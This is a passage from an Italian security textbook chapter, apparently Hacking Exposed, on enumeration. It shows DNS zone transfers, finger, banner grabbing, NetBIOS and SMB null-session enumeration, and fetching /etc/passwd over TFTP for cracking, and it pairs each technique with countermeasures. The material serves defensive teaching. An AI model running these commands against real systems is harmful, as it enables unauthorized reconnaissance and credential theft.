Se sul server obiettivo sono eseguiti servizi Microsoft DNS per supportare AD (*Active Directory*, una funzionalità introdotta dopo Windows NT4), l'aggressore ha buone probabilità di raccogliere ulteriori informazioni. Poiché lo spazio dei nomi di AD si basa sul DNS, l'implementazione Microsoft dei server DNS pubblicizza l'esistenza di servizi per domini quali AD e Kerberos che utilizzano il record DNS SRV (RFC 2052); questo record consente l'individuazione dei server mediante il tipo di servizio fornito (per esempio, LDAP, FTP o WWW) e del protocollo (per esempio, TCP). Di conseguenza, un semplice trasferimento di zona (`nslookup`, `ls -d <domainname>`) può enumerare numerose informazioni di rete interessanti, come mostrato nel seguente trasferimento di zona di esempio eseguito sul dominio labfarce.org (per motivi di spazio, è stato lievemente modificato):

```
C:\>nslookup
Default Server: corp-dc.labfarce.org
Address: 192.168.234.110
> ls -d labfarce.org
[[192.168.234.110]]
 labfarce.org.   SOA    corp-dc.labfarce.org admin.
 labfarce.org.                    A      192.168.234.110
 labfarce.org.                    NS     corp-dc.labfarce.org
. . .
_gc._tcp       SRV priority=0, weight=100, port=3268, corp-dc.labfarce.org
_kerberos._tcp SRV priority=0, weight=100, port=88, corp-dc.labfarce.org
_kpasswd._tcp  SRV priority=0, weight=100, port=464, corp-dc.labfarce.org
_ldap._tcp     SRV priority=0, weight=100, port=389, corp-dc.labfarce.org
```

In base alla RFC 2052, il formato dei record SRV è:

```
Service.Proto.Name TTL Class SRV Priority Weight Port Target
```

Alcune semplici indicazioni che un hacker potrebbe ricavare da questo file sono l'ubicazione del servizio Global Catalog del dominio (`_gc._tcp`), i controllori di dominio che utilizzano l'autenticazione Kerberos (`_kerberos._tcp`), i server LDAP (`_ldap._tcp`) e i numeri di porta associati (vengono mostrate solo le incarnazioni TCP).

Blocco dei trasferimenti di zona DNS

Questo problema può essere risolto facilmente consentendo i trasferimenti di zona solo a macchine autorizzate (di solito, queste sono server DNS di backup). Fortunatamente, le implementazioni del DNS successive alla versione NT4 di Windows consentono di limitare in modo semplice i trasferimenti di zona, come mostrato nella figura seguente: per visualizzare la finestra di dialogo illustrata si deve selezionare l'opzione *Proprietà* di una *forward lookup zone* (in questo caso, labfarce.org), dallo snap-in *Gestione Computer* dell'MMC (*Microsoft Management Console*), in *Strumenti di amministrazione\DNS\[nome_server]\Zone di ricerca diretta\[nome_zona]\Proprietà*.

La configurazione predefinita di Win 2000, sicuramente l'avete intuito, consente il trasferimento di zona a qualsiasi server. Se lo si desidera è possibile impedire completamente il trasferimento di zona, deselezionando la casella *Allow Zone Transfers*, anche se probabilmente è più realistico ipotizzare che i server DNS di backup debbano essere mantenuti aggiornati. Questo è il motivo per cui abbiamo illustrato un'opzione meno restrittiva.

In parte grazie alla segnalazione di questo problema nell'edizione precedente di questo libro, Microsoft ha intenzione di rilasciare l'implementazione DNS di Windows .NET Server con un'impostazione di default che blocca i trasferimenti di zona verso indirizzi non autorizzati.

Enumerazione mediante TFTP, porta TCP/UDP 69

Diffusione:	*1*
Semplicità:	*3*
Impatto:	*7*
Fattore di rischio:	*3*

L'acquisizione del file `/etc/passwd`, di cui discuteremo ampiamente nel Capitolo 7, è il capostipite di tutti gli stratagemmi di enumerazione su UNIX/Linux, sebbene non possa essere definito un semplice stratagemma di enumerazione vista la criticità delle informazioni raccolte. Tuttavia, ci sembra opportuno rammentare che uno dei metodi più diffusi per catturare il file `passwd` è il ricorso al protocollo TFTP (*Trivial File Transfer Protocol*), che viene generalmente eseguito sulla porta UDP 69. Come mostrato di seguito, è un gioco da ragazzi catturare tramite TFTP un file `/etc/passwd` praticamente privo di protezioni:

```
[root$]tftp 192.168.202.34
 tftp> connect 192.168.202.34
 tftp> get /etc/passwd /tmp/passwd.cracklater
 tftp> quit
```

A parte il fatto che ora i nostri aggressori dispongono del file `passwd` su cui eseguire il cracking a loro piacimento, essi possono leggere gli utenti direttamente da questo file.

Contromisure all'enumerazione mediante TFTP

Il TFTP è un protocollo intrinsecamente non sicuro: esso viene eseguito in chiaro sulla rete, non prevede alcun meccanismo di autenticazione e può contenere ACL di file system non configurate correttamente e quindi a totale disposizione dei malintenzionati. Per questi motivi, non utilizzatelo; in caso contrario, proteggetelo con restrizioni agli accessi (utilizzando un tool quale TCP Wrappers), limitate l'accesso alla directory `/tftpboot` e accertatevi che sia bloccato in corrispondenza del firewall perimetrale.

finger, porta TCP/UDP 79

Diffusione:	*7*
Semplicità:	*10*
Impatto:	*1*
Fattore di rischio:	*6*

Forse il trucco più vecchio citato nel libro per quanto riguarda l'enumerazione degli utenti è l'utility `finger` per UNIX/Linux. `finger` era un metodo pratico per fornire automaticamente informazioni agli utenti in un'epoca in cui Internet era molto più piccola e priva di pericoli. Ne parliamo principalmente per descrivere l'impronta dell'attacco, poiché molti tool per attacchi a script sfruttano ancora questa vulnerabilità e molti amministratori di sistemi ignari lasciano che `finger` sia eseguito in configurazioni con sicurezza minima. Anche in questo caso, l'esempio seguente

presuppone che nelle scansioni precedenti sia stato identificato un host valido su cui viene eseguito il servizio `finger` (porta 79):

```
[root$]finger -l @target.hackme.com

[target.hackme.com]
Login: root                          Name: root
Directory: /root                     Shell: /bin/bash
On since Sun Mar 28 11:01 (PST) on tty1    11 minutes idle
     (messages off)
On since Sun Mar 28 11:01 (PST) on ttyp0 from :0.0
   3 minutes 6 seconds idle
No mail.
Plan:
John Smith
Security Guru
Telnet password is my birthdate.
```

Anche `finger 0@hostname` può fornire ottime informazioni:

```
[root$]finger 0@192.168.202.34

[192.168.202.34]

    Line      User      Host(s)              Idle Location
*  2 vty 0              idle                    0 192.168.202.14
  Se0                   Sync PPP             00:00:02
```

Come potete vedere, la maggior parte delle informazioni visualizzate da `finger` è piuttosto innocua (esse vengono derivate dagli opportuni campi `/etc/passwd`, se esistono). Probabilmente l'informazione più pericolosa contenuta nell'output di `finger` è quella dei nomi degli utenti connessi al sistema e dei tempi di inattività, che indica agli aggressori chi sta osservando il traffico (root?) e quanto è attento. Altre informazioni possono essere utilizzate in un attacco di "ingegneria sociale" (termine utilizzato dagli hacker per indicare i tentativi di accesso fraudolento effettuati applicando abilità "sociali": si veda il Capitolo 14). Come si nota nell'esempio precedente, gli utenti che inseriscono un file `.plan` o `.project` nelle loro home directory rischiano di far trapelare informazioni preziose come conseguenza di un sondaggio anche semplice. (I contenuti di questi file sono visualizzati nell'output dei sondaggi effettuati con `finger`, come mostrato in precedenza.)

Contromisure a finger

L'individuazione e il blocco di questa fuga di informazioni è semplice: è sufficiente non eseguire `finger` (lo potete trasformare in un commento in `inetd.conf` e `killall -HUP inetd`) e bloccare la porta 79 in corrispondenza del firewall. Se proprio dovete concedere l'accesso a `finger`, utilizzate TCP Wrappers (si veda il Capitolo 7) per limitare e registrare l'accesso all'host, oppure utilizzate un daemon di `finger` modificato che fornisce unicamente informazioni limitate.

Enumerazione mediante HTTP, porta TCP 80

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*1*
Fattore di rischio:	*5*

L'enumerazione della marca e del modello di un server Web è una delle tecniche più semplici e diffuse tra gli hacker. Ogniqualvolta viene pubblicizzato un nuovo exploit di server Web (per esempio, il buffer overflow di ida/idq che è servito da base per i worm Code Red e Nimda), i malintenzionati utilizzano semplici tool di enumerazione automatizzati per ispezionare vaste zone di Internet alla ricerca di software potenzialmente vulnerabile. Non pensate di farla franca.
All'inizio di questo capitolo, nel paragrafo "Strumenti elementari per la cattura dei banner: telnet e netcat", abbiamo illustrato la cattura elementare di banner HTTP; vi abbiamo inoltre spiegato come connettervi a un server Web sulla porta HTTP standard (TCP 80) mediante `netcat` e come estrarre il banner con qualche carriage return. Per un hacker più scaltro, il metodo basato su HTTP HEAD è un modo pulito per carpire le informazioni dei banner. Potete digitare questo comando direttamente dopo esservi connessi con `netcat` al server bersaglio, come mostrato di seguito (i comandi che devono essere inseriti sono in neretto; dovete digitare due o più carriage return dopo la riga contenente il comando `HEAD`):

```
C:\>nc -v www.corleone.com 80
www.corleone.com [192.168.45.7] 80 (?) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 08 May 2001 00:52:25 GMT
Connection: Keep-Alive
Content-Length: 1270
Content-Type: text/html
Set-Cookie: ASPSESSIONIDGGQGQLAO=IPGFKBKDGDPOOHCOHIKOAKHI; path=/
Cache-control: private
```

Nell'esempio precedente abbiamo illustrato la richiesta HTTP HEAD, attualmente poco diffusa, a parte l'eccezione rimarchevole dei worm. Pertanto, alcuni sistemi di intercettazione delle intrusioni potrebbero entrare in azione in seguito a una richiesta HEAD.
Inoltre, se vi imbattete in un sito Web che utilizza l'SSL non preoccupatevi, poiché `netcat` non può negoziare connessioni SSL. È sufficiente che lo reindirizziate tramite uno dei molti tool SSL proxy disponibili, per esempio `openssl` o `sslproxy`.
Occorre ricordare che nel codice sorgente HTML per le pagine Web è possibile trovare molte informazioni interessanti. Uno dei nostri tool preferiti per l'analisi di interi siti (che dispone di altre eccellenti funzionalità di interrogazione delle reti) è Sam Spade di Blighty Design (`http://samspade.org/ssw/`). La Figura 3.1 mostra come Sam Spade può perlustrare interi siti Web e cercare nelle pagine informazioni di grande interesse quali la parola "password".
L'analisi dell'HTML alla ricerca di informazioni interessanti sconfina nel territorio dell'hacking del Web, che illustreremo nel Capitolo 15.

Figura 3.1
La funzionalità Crawl Website di Sam Spade facilita il parsing di interi siti alla ricerca di informazioni interessanti quali le password.

Contromisure all'enumerazione mediante HTTP

Il metodo migliore per scoraggiare questo tipo di attività consiste nel cambiare il banner dei server Web. La procedura per effettuare questa operazione varia in base al fornitore del server Web: in questo libro verrà illustrata facendo riferimento a uno di quelli più comuni, cioè IIS (*Internet Information Services*) di Microsoft. IIS è spesso criticato soprattutto a causa della facilità con cui è possibile reperire exploit pronti all'uso per indebolire punti vulnerabili, quali MDAC (*Microsoft Date Access Components*), Unicode e il buffer overflow dell'Internet Printing Protocol (si veda il Capitolo 15). Combinate queste tecniche con worm IIS automatizzati quali Code Red e Nimda e capirete perché le scansioni su IIS sono diventate quasi uno sport nazionale su Internet. La modifica del banner IIS può essere di notevole aiuto per sparire dallo schermo radar di alcuni malintenzionati.

Malauguratamente, la modifica diretta del banner IIS implica l'editing in esadecimale della DLL contenente il banner IIS, *%systemroot%\sistemi32\inetsrv\w3svc.dll*. Questa può essere una procedura complessa, resa più difficile dal fatto che su Windows 2000 questa DLL è protetta mediante SFP (*Windows System File Protection*) e viene sostituita automaticamente da una copia pulita, a meno che l'SFP non sia disattivato.

C'è un altro metodo per modificare il banner IIS: l'installazione di un filtro ISAPI creato per definire il banner mediante il richiamo della funzione SetHeader. L'articolo di Microsoft Knowledge Base, consultabile all'indirizzo `http://support.microsoft.com/default.aspx?scid=kb;en-us;Q294735`, spiega come è possibile effettuare questa operazione, con un esempio di codice sorgente. In alternativa, potete scaricare e utilizzare URLScan di Microsoft, incluso nell'IISLockdown Tool (`http://www.microsoft.com/technet/security/tool/tool/locktool.asp`). URLScan è un filtro ISAPI che può essere programmato per bloccare molti tipi di attacchi IIS prima che raggiungano il server Web; vi consente inoltre di configurare un banner personalizzato per trarre in inganno aggressori sprovveduti e worm automatizzati.

Enumerazione mediante MSRPC, porta TCP 135

Diffusione:	*7*
Semplicità:	*8*
Impatto:	*1*
Fattore di rischio:	*5*

Su alcuni sistemi Microsoft Windows viene eseguito un servizio endpoint mapper (o portmapper) RPC (*Remote Procedure Call*) sulla TCP 135, chiamato MSRPC (*Microsoft RPC*). L'invio di query a questo servizio può fornire informazioni su applicazioni e servizi disponibili sulla macchina bersaglio, nonché altre informazioni potenzialmente utili all'aggressore. Il tool `epdump` di Reskit interroga l'endpoint mapper MSRPC e mostra servizi vincolati a indirizzi IP e numeri di porte (sebbene in una forma molto rudimentale). Ecco un esempio del suo funzionamento contro un sistema su cui viene eseguita la TCP 135 (il codice è stato modificato per motivi di spazio):

```
C:\>epdump mail.victim.com
binding is 'ncacn_ip_tcp:mail.victim.com'
int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
   binding 00000000-etc.@ncalrpc:[INETINFO_LPC]
   annot ''
int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
   binding 00000000-etc.@ncacn_ip_tcp: 216.154.242.126[1051]
   annot ''
int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
   binding 00000000-etc.@ncacn_ip_tcp:192.168.10.2[1051]
   annot ''
no more entries
```

È importante rilevare che in questo output vediamo due numeri che assomigliano a indirizzi IP: 216.154.242.126 e 192.168.1.2. Si tratta di indirizzi IP a cui le applicazioni MSRPC sono vincolate. C'è un fatto ancora più interessante: il secondo di questi è un indirizzo RFC 1918, il che indica che probabilmente questa macchina ha due interfacce fisiche (o, come si suol dire, è *dual-homed*) e una di queste è una rete interna. Questo aspetto può suscitare l'interesse di hacker curiosi che cercano ponti di questo tipo tra reti esterne e interne, in quanto punti importanti di attacco.

Un altro tool di enumerazione MSRPC di buon livello, chiamato `rpcdump` *(da non confondere con l'*`rpcdump` *di Microsoft Reskit) e alcuni buoni articoli su questo argomento sono disponibili all'indirizzo* `http://razor.bindview.com/tool/desc/rpctools1.0-readme.html`.

Contromisure all'enumerazione MSRPC

Stabilite restrizioni all'accesso alla porta TCP 135. Non c'è molto che potete fare per limitare la fuga di queste informazioni se questo servizio è disponibile: esso è progettato per presentare questi dati (è proprio la funzione di un endpoint mapper). Questo aspetto diventa problematico quando Microsoft Exchange Server è affacciato su Internet. Affinché i client Outlook MAPI si possano connettere al servizio Exchange, devono prima contattare l'endpoint mapper. Pertanto, per assicurare la connettività Outlook/Exchange a utenti remoti su Internet, dovete lasciare la porta TCP 135 sguarnita. C'è una soluzione a questo problema: utilizzare un altro dispositivo per autenticare l'accesso alla TCP 135. Per esempio, alcuni firewall possono aprire automaticamente un'ACL a un determinato indirizzo IP remoto dopo che l'utente è riuscito ad autenticarsi con il firewall tramite un altro protocollo, per esempio l'HTTPS. Ovviamente, c'è un'alternativa: utilizzare OWA (*Outlook Web Access*) di Microsoft per supportare gli utenti remoti di Outlook. OWA è sostanzialmente un'interfaccia con il Web di una casella postale Exchange e funziona con il protocollo HTTPS. Vi consigliamo di utilizzare un'autenticazione dettagliata se decidete di implementare OWA (per esempio, con certificati digitali o meccanismi di autenticazione a due fattori).

Enumerazione mediante NetBIOS, porta UDP 137

Diffusione:	*7*
Semplicità:	*5*
Impatto:	*3*
Fattore di rischio:	*5*

L'NBNS (*NetBIOS Name Service*) era tradizionalmente utilizzato come sistema di assegnazione dei nomi distribuito per le reti basate su Microsoft Windows. A partire da Windows 2000, l'NBNS non è più necessario, poiché è stato sostituito in larga parte dallo standard di assegnazione dei nomi basato su Internet, il DNS. Tuttavia, nel momento in cui scriviamo, l'NBNS è ancora attivato di default in tutte le distribuzioni di Windows; pertanto, in genere gli aggressori connessi al segmento di rete locale (o tramite un router che consente il tunneling di NBNS su TCP/IP) non hanno problemi a "enumerare la rete Windows", come talvolta viene chiamata l'enumerazione NBNS. L'NBNS è una preda così facile perché i tool e le tecniche per monitorare la connessione NetBIOS sono facilmente disponibili: la maggior parte di esse è incorporata nel sistema operativo stesso! In effetti, generalmente le tecniche di enumerazione NBNS sondano l'NBNS su tutte le macchine presenti in rete e spesso sono così trasparenti da lasciare a stento trapelare che un utente è connesso a uno specifico servizio sulla UDP 137. Parleremo per prima cosa dei tool nativi di Windows e poi passeremo a discutere di altri tool di terze parti. Eviteremo di parlare di contromisure prima di aver portato a termine questa discussione, poiché la soluzione di tutti questi problemi è piuttosto semplice e può essere realizzata in un solo colpo.

Enumerazione dei gruppi di lavoro e dei domini Windows con net view

Il comando `net view` è un ottimo esempio di strumento di enumerazione standard. Si tratta di un programma a riga di comando della famiglia Windows NT di straordinaria semplicità, in grado di elencare i domini disponibili sulla rete e rilevare tutte le

macchine presenti in un certo dominio. Ecco come enumerare i domini della rete utilizzando `net view`:

```
C:\>net view /domain
Domain
-------------------------------------------------------------------------------
CORLEONE
BARZINI_DOMAIN
TATAGGLIA_DOMAIN
BRAZZI

The command completed successfully.
```

Il comando seguente elenca i computer del dominio specificato:

```
C:\>net view /domain:corleone
Server Name              Remark
-------------------------------------------------------------------------------
\\VITO                   Make him an offer he can't refuse
\\MICHAEL                Nothing personal
\\SONNY                  Badda bing badda boom
\\FREDO                  I'm smart
\\CONNIE                 Don't forget the cannoli
```

Anche in questo caso, `net view` richiede l'accesso a NBNS su tutte le reti che devono essere enumerate, il che significa che generalmente funziona solo nei confronti del segmento di rete locale. Se l'NBNS è indirizzato su TCP/IP, `net view` può enumerare i gruppi di lavoro Windows, i domini e gli host di un'intera azienda, mettendo a nudo la struttura dell'intera organizzazione con una singola interrogazione non autenticata proveniente da un qualsiasi sistema connesso fisicamente a una rete che riesca a ottenere un indirizzo DHCP.

Ricordate che possiamo utilizzare le informazioni ottenute con i ping sweep (si veda il Capitolo 2) per sostituire gli indirizzi IP ai nomi NetBIOS delle singole macchine. Gli indirizzi IP e i nomi NetBIOS sono intercambiabili (per esempio, `\\192.168.202.5` *è equivalente a* `\\SERVER_NAME`*). Per comodità, gli aggressori aggiungono spesso le voci appropriate al file* `%systemroot%\system32\drivers\etc\LMHOSTS`*, accodando la sintassi #PRE, poi eseguono il comando* `nbtstat -R` *per ricaricare la cache della tabella dei nomi. A questo punto sono liberi di utilizzare il nome NetBIOS negli attacchi successivi, sicuri che verrà mappato in modo trasparente all'indirizzo IP specificato in LMHOSTS.*

Enumerazione dei controllori di dominio Windows

Per approfondire la nostra conoscenza della struttura della rete Windows, dovremo ricorrere a uno strumento presente nel Resource Kit di Windows (RK o Reskit). Nell'esempio seguente, vedremo come il tool RK chiamato `nltest` identifica i controllori di dominio nel dominio che abbiamo enumerato mediante `net view` (i controllori di dominio sono i custodi delle credenziali di autenticazione di rete di Windows e sono pertanto i principali bersagli degli hacker malintenzionati):

```
C:\>nltest /dclist:corleone
List of DCs in Domain corleone
    \\VITO (PDC)
```

```
    \\MICHAEL
    \\SONNY

The command completed successfully
```

`netdom` di Reskit è un altro tool utile per l'enumerazione di informazioni critiche sui domini Windows su una rete, comprese l'appartenenza al dominio e le identità dei controllori di dominio di backup (BDC).

Enumerazione dei servizi di rete con netviewx

Il tool `netviewx` di Jesper Lauritsen (`http://www.ibt.ku.dk/jesper/NTtools/`) funziona in modo molto simile al comando `net view`, ma dispone della capacità di elencare server con servizi specifici. Noi utilizziamo spesso `netviewx` come sonda per cercare l'NT RAS (*Remote Access Service*) per avere un'idea del numero di server di accesso remoto esistenti su una rete, come mostrato nell'esempio seguente (la sintassi `-D` specifica il dominio da enumerare, mentre la sintassi `-T` specifica il tipo di macchina o di servizio da cercare):

```
C:\>netviewx -D CORLEONE -T dialin_server

VITO,4,0,500,nt%workstation%server%domain_ctrl%time_source%dialin_server%
backup_browser%master_browser," Make him an offer he can't refuse "
```

I servizi in esecuzione su questo sistema sono elencati tra i simboli di percentuale (`%`). `netviewx` è anche un tool valido per scegliere bersagli diversi da controllori di dominio, che non sono protetti in modo adeguato.

Lettura della tabella dei nomi NetBIOS con nbtstat e nbtscan

`nbtstat` si connette a singole macchine anziché enumerare l'intera rete. Questo strumento consente di richiamare e leggere la tabella dei nomi NetBIOS di un sistema remoto. La tabella dei nomi contiene informazioni notevoli, come mostrato nell'esempio seguente:

```
C:\>nbtstat -A 192.168.202.33
        NetBIOS Remote Machine Name Table

   Name                  Type          Status
---------------------------------------------
SERVR9          <00>  UNIQUE      Registered
SERVR9          <20>  UNIQUE      Registered
9DOMAN          <00>  GROUP       Registered
9DOMAN          <1E>  GROUP       Registered
SERVR9          <03>  UNIQUE      Registered
INet~Services   <1C>  GROUP       Registered
IS~SERVR9......<00>  UNIQUE      Registered
9DOMAN          <1>   UNIQUE      Registered
..__MSBROWSE__.<01>  GROUP       Registered
ADMINISTRATOR   <03>  UNIQUE      Registered

MAC Address = 00-A0-CC-57-8C-8A
```

`nbtstat` consente di risalire al nome del sistema (SERVR9), al dominio di appartenenza (9DOMAN), agli eventuali utenti collegati (ADMINISTRATOR), agli eventuali

servizi in esecuzione (INet~Services) e all'indirizzo MAC. Queste entità possono essere identificate dai loro codici di servizio NetBIOS (il numero di due cifre a destra del nome), parzialmente elencati nella Tabella 3.1.

Tabella 3.1 Codici dei servizi NetBIOS più comuni

NetBIOS Code	Risorsa
<nome computer>[00]	Servizio workstation
<nome dominio >[00]	Nome del dominio
<nome computer>[03]	Servizio messenger (per messaggi inviati al computer)
<nome utente>[03]	Servizio messenger (per messaggi inviati all'utente)
<nome computer>[20]	Servizio server
<nome dominio>[1D]	Browser master
<nome dominio>[1E]	Browser Service Elections
<nome dominio>[1B]	Domain Master Browser

I due difetti principali di `nbtstat` risiedono nel fatto che può essere utilizzato su un solo host alla volta e che l'output generato è di difficile interpretazione. Entrambi questi inconvenienti sono stati affrontati ed eliminati dallo strumento gratuito `nbtscan`, creato da Alla Bezroutchko e disponibile all'indirizzo `http://www.inetcat.org/software/nbtscan.html`. L'applicazione `nbtscan` è in grado di eseguire la scansione delle denominazioni di un'intera rete in tempi rapidissimi, fornendo un output decisamente più comprensibile:

```
C:\>nbtscan 192.168.234.0/24
Doing NBT name scan for addresses from 192.168.234.0/24

IP address       NetBIOS Name   Server     User      MAC address
-------------------------------------------------------------------------
192.168.234.36   WORKSTN12      <server>   RSMITH    00-00-86-16-47-d6
192.168.234.110  CORP-DC        <server>   CORP-DC   00-c0-4f-86-80-05
192.168.234.112  WORKSTN15      <server>   ADMIN     00-80-c7-0f-a5-6d
192.168.234.200  SERVR9         <server>   ADMIN     00-a0-cc-57-8c-8a
```

Per combinazione, `nbtscan` è anche un metodo notevole per chiudere velocemente gli host di una rete che utilizzano Windows. Provate a utilizzarlo sul vostro campione di classe C preferito di Internet e vedrete cosa intendiamo.

Blocco dell'enumerazione del servizio nomi NetBIOS

Tutte le tecniche precedenti agiscono sul servizio nomi NetBIOS, sulla UDP 137. Negando l'accesso alla UDP 137 su singoli host o bloccando il protocollo in corrispondenza dei router della rete, nessuna di queste attività avrà successo. Per impedire che i dati degli utenti appaiano nei dump delle tabelle dei nomi NetBIOS, occorre disattivare i servizi Alerter e Messenger sui singoli host. Il comportamento all'avvio di questi servizi può essere configurato tramite il pannello di controllo dei servizi. Su Windows 2000 e versioni successive, potete disattivare il NetBIOS su TCP/IP nelle impostazioni per le singole schede di rete. Poiché non sempre abbiamo avuto successo nel bloccare l'enumerazione NBNS mediante questa impostazione, non ci baseremo su di essa (inoltre, come vedrete nel prosieguo di questo capitolo, esistono molti pregiudizi su questa funzionalità). Infine, tenete presente che se bloccate la UDP 137 rispetto ai router di at-

traversamento, disattivate la risoluzione dei nomi Windows su questi router, impedendo il funzionamento di qualsiasi applicazione basata sull'NBNS.

Enumerazione di sessioni NetBIOS, portaTCP 139

Diffusione:	*8*
Semplicità:	*10*
Impatto:	*8*
Fattore di rischio:	*9*

Windows NT e la sua famiglia sono meritatamente considerati divulgatori di informazioni a beneficio di malintenzionati. Questo è dovuto quasi unicamente alla vulnerabilità di cui stiamo per parlare, l'attacco a Windows con connessione a sessione nulla/connessione anonima.

Sessioni nulle: il deus ex machina dell'enumerazione

Se vi è già capitato di accedere a un file o stampare su una stampante associata a una macchina Windows su una rete, probabilmente avete utilizzato il protocollo SMB (*Server Message Block*) di Microsoft, che costituisce la base della condivisione file e stampanti di Windows (c'è anche un'implementazione di SMB per Linux chiamata Samba). L'SMB è accessibile tramite alcune API che possono restituire informazioni interessanti su Windows, anche a utenti non autenticati. La qualità delle informazioni che possono essere raccolte con questo meccanismo rende l'SMB uno dei talloni di Achille di Windows, se non viene adeguatamente protetto.
Per illustrare gli effetti devastanti che possono derivare dalla mancata protezione dell'SMB, utilizziamo alcune tecniche di hacking ben note che sfruttano il protocollo. Il primo passo dell'enumerazione SMB consiste nel connettersi al servizio utilizzando il cosiddetto comando di "sessione nulla", mostrato di seguito:

```
C:\>net use \\192.168.202.33\IPC$ "" /u:""
```

Questo comando si collega alla "condivisione" nascosta per la comunicazione interprocesso (`IPC$`) all'indirizzo IP 192.168.202.33 utilizzando l'utente anonimo predefinito (`/user:""`) e una password nulla (`""`). Se va a buon fine, l'aggressore riesce ad aprire un canale su cui tentare le varie tecniche riportate in questo capitolo e da cui estorcere al bersaglio il maggior numero di informazioni possibili: dati sulla rete, condivisioni, utenti, gruppi, chiavi del Registro di sistema e così via. Anche se non avete mai sentito parlare della vulnerabilità "Red Button", delle connessioni a sessione nulla, o del logon anonimo, questa è l'intrusione in una rete dagli effetti più devastanti, come dimostreremo immediatamente con dovizia di particolari.

L'enumerazione SMB può essere effettuata sia sulla TCP 139 (sessione NetBIOS) sia sulla TCP 445 (SMB su TCP/IP, detta anche "Direct Host"). Entrambe le porte forniscono l'accesso allo stesso servizio (SMB), sia pure in modi diversi. Parleremo della TCP 445 nel prosieguo di questo capitolo.

Enumerazione delle condivisioni file

Tra i bersagli preferiti dagli intrusi ci sono le condivisioni file di Windows con ACL non configurate correttamente. Dopo aver stabilito una sessione nulla, possiamo enumerare molto facilmente i nomi delle condivisioni file ricorrendo a diverse tec-

niche. Per esempio, il comando `net view` incorporato in Windows può essere utilizzato per enumerare condivisioni su sistemi remoti:

```
C:\>net view \\vito

Shared resources at \\192.168.7.45

VITO

Share name   Type        Used as  Comment

-------------------------------------------------------
NETLOGON     Disk                 Logon server share
Test         Disk                 Public access
The command completed successfully.
```

Sono disponibili altri tre validi tool del Resource Kit di enumerazione delle condivisioni: `rmtshare`, `srvcheck` e `srvinfo` (che utilizza switch `-s`). `rmtshare` genera un output simile a quello di `net view`. `srvcheck` visualizza condivisioni e utenti autorizzati, comprese le condivisioni nascoste, ma richiede l'accesso privilegiato al sistema remoto per enumerare utenti e condivisioni nascoste. Il parametro `-s` di `srvinfo` elenca le condivisioni assieme a numerose altre informazioni potenzialmente illuminanti.

Uno dei migliori strumenti per enumerare le condivisioni di NT (e molto altro) è DumpSec (già DumpACL), visibile nella Figura 3.2. Esso è disponibile gratuitamente sul sito di Somarsoft (`http://www.somarsoft.com`). Sono pochi gli strumenti che meritano più di DumpSec un posto tra gli attrezzi dell'amministratore della sicurezza in ambiente NT. Questo programma controlla tutto, dalle autorizzazioni sul file system ai servizi disponibili sui sistemi remoti. È possibile ottenere una serie di informazioni elementari sugli utenti anche utilizzando una semplice connessione nulla: è previsto il funzionamento da riga di comando, che semplifica l'automazione e l'utilizzo da script. Nella Figura 3.2 viene mostrato l'utilizzo di DumpSec per scaricare informazioni di condivisione da un computer remoto.

L'apertura di connessioni nulle e l'utilizzo manuale degli strumenti illustrati nei paragrafi precedenti è un'ottima tecnica per attacchi mirati, ma la maggior parte degli hacker preferisce utilizzare prima un programma di scansione NetBIOS per rilevare eventuali condivisioni a rischio. Uno degli strumenti più apprezzati è Legion (disponibile su molti archivi Internet), visibile nella figura seguente.

Legion può passare al setaccio una rete IP di Classe C e riportare sulla propria interfaccia grafica tutte le condivisioni disponibili. La versione 2.1 comprende uno strumento per operare con il metodo della "forza bruta", per cercare di collegarsi a una data condivisione utilizzando un elenco di password fornito dall'utente. Per maggiori informazioni sugli attacchi a forza bruta contro Windows 9*x* e NT, vi rimandiamo rispettivamente ai Capitoli 4 e 5.

```
Somarsoft DumpSec (formerly DumpAcl) - \\SERVER
File Edit Search Report View Help
Share and path          Account   Own  Permission
NETLOGON                          ==>access denied
ADMIN$                            ==>access denied
IPC$                              ==>access denied
mspclnt                           ==>access denied
C$                                ==>access denied
D$                                ==>access denied
E$                                ==>access denied
General                           ==>access denied
IBMPropr                          ==>access denied
                                              00001
```

Figura 3.2

DumpSec rivela le condivisioni su una sessione nulla con il computer bersaglio.

Un altro scanner di condivisioni per Windows è il NAT (*NetBIOS Auditing Tool*), basato su codice scritto da Andrew Tridgell e disponibile sul sito Web di Hacking Exposed (`http://www.hackingexposed.com`). Neon Surge e Chameleon dell'ormai defunto gruppo di sicurezza di Rhino9 hanno realizzato per NAT un'interfaccia grafica, per utenti allergici alla linea di comando, visibile nella Figura 3.3. NAT non si limita a trovare le condivisioni, ma tenta un accesso forzato sulla base di elenchi di nomi utente e password dell'utente.

```
D:\apps\NetBIOS\NAT\nat.exe
[*]--- Unable to connect

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- Unable to connect

[*]--- Attempting to connect with name: SMBSERVER
[*]--- Unable to connect

[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Was not able to obtain any information from remote server

[*]--- Checking host: 192.168.202.31
[*]--- Obtaining list of remote NetBIOS names
[*]--- Was not able to obtain any information from remote server

[*]--- Checking host: 192.168.202.32
[*]--- Obtaining list of remote NetBIOS names
```

```
R9/NAT InterFace
Note: Make sure this executable is in the same directory as nat.exe
This Window will close as the process runs. To check the progress
of the process, check the command prompt window.
File I/O Information
User List        D:\apps\NetBIOS\NAT\USERLIS
Word List        D:\apps\NetBIOS\NAT\PASSLIS
Output Filename  D:\apps\NetBIOS\NAT\test.txt
Browse..
Target IP Information
Starting IP  192.168.202.30   Clear
Ending IP    192.168.202.33   Start
Interface by NeonSurge and Chameleon of Rhino9
```

Figura 3.3

Gli output grafico e a riga di comando di NAT (NetBIOS Auditing Tool).

Enumerazione del registro

